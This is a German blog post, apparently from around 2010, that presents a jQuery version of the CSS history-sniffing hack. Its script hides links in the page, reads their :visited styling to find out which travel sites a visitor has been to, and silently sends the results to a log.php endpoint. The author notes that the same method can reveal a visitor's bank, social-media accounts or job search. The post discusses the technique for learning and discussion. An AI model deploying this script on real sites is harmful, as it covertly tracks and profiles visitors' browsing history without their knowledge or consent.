Lucido Media

jQuery CSS History Hack

Vielen Webdesignern und -Entwicklern dürfte der CSS History Hack bereits seit Jahren bekannt sein. Nach der letzten Folge seoFM (wow baby), dem korrespondierenden Blogpost “Conversion Optimierung mittels Usererkennung” vom Bösen SEO, Beiträgen auf Heise / Spiegel / IT-Republik und einer neuen Version, die vor kurzem publiziert wurde, kam ich nicht umher noch einmal kurz mit dem Hack herum zuspielen.

• Orig.-Demo: CSS-history-hack
• Orig.-BlogPost: i-know-where-youve-been
• Neu, CSS-Only: css-history-hack-in-firefox-without-javascript
• startpanic.com
• whattheinternetknowsaboutyou.com
• didyouwatchporn.com
• caughtyouwatching.com

Alright then – gibt’s da schon was für jQuery? Nein? Kay…I’m in!

Ich habe mir mal das Beispiel vom Bösen SEO rausgeschnappt (“Wenn ich eine Hotelwebsite habe und gerne Werbebanner passend zu den Reisevorlieben des Besuchers anzeigen möchte – Bahn/Flugzeug, dann könnte man usw.”).

Im Grunde kann man damit alles Mögliche machen, wenn man genug kriminelle Energie hat – wie es die Behörden nennen würden ;o). Man kann das Bankinstitut herausfinden, den Usernamen bei SocialMedia-Portalen, ob Filesharer, arbeitssuchend oder nicht, die Altersgruppe oder einfach nur besuchte Konkurrenzwebsites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

/**
* jquery.css.history.hack
*
* did:
* - ff      (tested 3.6)
* - ie      (tested 8.0)
* - opera   (tested 9.6)
* - chrome  (tested 4.0)
* didn't:
* - safari  (tested 4.0)
*/
jQuery(function($)
{
  var urls    = [
        'http://www.bahn.de/p/view/index.shtml',
        'http://www.expedia.de/',
        'http://www.swoodoo.com/de/',
        'http://www.opodo.de/'
      ],
      $testarea = $(
         '<div id="testarea">'
        +' <style type="text/css">'
        +'  #testarea {display:none;}'
        +'  #testarea a{text-decoration:none;}'
        +'  #testarea a:visited{text-decoration:underline;}'
        +' </style>'
        +' <a href="'+urls.join('">x</a><a href="')+'">x</a>'
        +'</div>'
      ).appendTo('body');
 
  urls = [];
  $testarea.find('a').each(function()
  {
    if( $(this).css('textDecoration') === 'underline' )
    {
      urls.push( $(this).attr('href').match(/[^/]+/g)[1] );
    }
  }).end().remove();
 
  $.get('log.php',{'domains_num':urls.length,'domains':urls});
});

Das ist jetzt mal grob hingekritzelt, tuts aber. Habe ziemlich konfus dreingeschaut warum die meisten bekannten Versionen für jeden Link eine extra CSS-Regel festlegen und den Hack nur via Hidden-IFrame userfreundlich durchführen können. Auch wenn man mit obigem jQuery-Script im unteren dreistelligen URL-Bereich bleiben sollte, wundert’s mich doch nicht dass die anderen so extrem langsam sind…

Es versteht sich übrigens wohl von selbst, warum ich da jetzt kein Plugin draus gemacht habe. Auch wenn es nur noch zwei Handgriffe wären… Ihr sollt etwas lernen und freudig mit mir diskutieren statt Quatsch zu machen *zwinker*